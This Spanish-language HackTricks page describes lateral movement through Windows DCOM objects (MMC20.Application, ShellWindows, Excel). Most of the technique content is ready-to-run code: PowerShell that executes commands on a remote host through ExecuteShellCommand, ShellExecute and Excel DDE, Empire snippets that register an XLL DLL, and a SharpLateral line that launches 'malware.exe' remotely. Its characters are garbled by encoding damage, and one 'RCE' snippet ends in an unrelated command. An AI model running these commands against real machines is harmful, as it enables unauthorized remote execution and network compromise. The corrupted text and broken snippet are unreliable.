DCOM Exec
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
MMC20.Application
Para m谩s informaci贸n sobre esta t茅cnica, consulta la publicaci贸n original en https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Los objetos del Modelo de Objetos de Componente Distribuido (DCOM) presentan una capacidad interesante para interacciones basadas en red con objetos. Microsoft proporciona documentaci贸n completa tanto para DCOM como para el Modelo de Objetos de Componente (COM), accesible aqu铆 para DCOM y aqu铆 para COM. Una lista de aplicaciones DCOM se puede recuperar utilizando el comando de PowerShell:
Get-CimInstance Win32_DCOMApplication
El objeto COM, Clase de Aplicaci贸n MMC (MMC20.Application), permite la automatizaci贸n de operaciones de complementos MMC. Notablemente, este objeto contiene un m茅todo ExecuteShellCommand
bajo Document.ActiveView
. M谩s informaci贸n sobre este m茅todo se puede encontrar aqu铆. Verifique su funcionamiento:
Esta funci贸n facilita la ejecuci贸n de comandos a trav茅s de una red mediante una aplicaci贸n DCOM. Para interactuar con DCOM de forma remota como administrador, se puede utilizar PowerShell de la siguiente manera:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Este comando se conecta a la aplicaci贸n DCOM y devuelve una instancia del objeto COM. Luego se puede invocar el m茅todo ExecuteShellCommand para ejecutar un proceso en el host remoto. El proceso implica los siguientes pasos:
Check methods:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Obtener RCE:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Para m谩s informaci贸n sobre esta t茅cnica, consulta la publicaci贸n original https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
El objeto MMC20.Application fue identificado como carente de "LaunchPermissions" expl铆citos, por defecto a permisos que permiten el acceso a Administradores. Para m谩s detalles, se puede explorar un hilo aqu铆, y se recomienda el uso de @tiraniddo鈥檚 OleView .NET para filtrar objetos sin Permiso de Lanzamiento expl铆cito.
Se destacaron dos objetos espec铆ficos, ShellBrowserWindow
y ShellWindows
, debido a su falta de Permisos de Lanzamiento expl铆citos. La ausencia de una entrada de registro LaunchPermission
bajo HKCR:\AppID\{guid}
significa que no hay permisos expl铆citos.
ShellWindows
Para ShellWindows
, que carece de un ProgID, los m茅todos .NET Type.GetTypeFromCLSID
y Activator.CreateInstance
facilitan la instanciaci贸n del objeto utilizando su AppID. Este proceso aprovecha OleView .NET para recuperar el CLSID de ShellWindows
. Una vez instanciado, la interacci贸n es posible a trav茅s del m茅todo WindowsShell.Item
, lo que lleva a la invocaci贸n de m茅todos como Document.Application.ShellExecute
.
Se proporcionaron ejemplos de comandos de PowerShell para instanciar el objeto y ejecutar comandos de forma remota:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Movimiento Lateral con Objetos DCOM de Excel
El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener informaci贸n detallada, se recomienda leer la discusi贸n sobre el aprovechamiento de Excel DDE para el movimiento lateral a trav茅s de DCOM en el blog de Cybereason.
El proyecto Empire proporciona un script de PowerShell, que demuestra la utilizaci贸n de Excel para la ejecuci贸n remota de c贸digo (RCE) manipulando objetos DCOM. A continuaci贸n se presentan fragmentos del script disponible en el repositorio de GitHub de Empire, que muestran diferentes m茅todos para abusar de Excel para RCE:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Herramientas de Automatizaci贸n para Movimiento Lateral
Se destacan dos herramientas para automatizar estas t茅cnicas:
-
Invoke-DCOM.ps1: Un script de PowerShell proporcionado por el proyecto Empire que simplifica la invocaci贸n de diferentes m茅todos para ejecutar c贸digo en m谩quinas remotas. Este script es accesible en el repositorio de GitHub de Empire.
-
SharpLateral: Una herramienta dise帽ada para ejecutar c贸digo de forma remota, que se puede usar con el comando:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Herramientas Autom谩ticas
- El script de Powershell Invoke-DCOM.ps1 permite invocar f谩cilmente todas las formas comentadas de ejecutar c贸digo en otras m谩quinas.
- Tambi茅n podr铆as usar SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Referencias
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.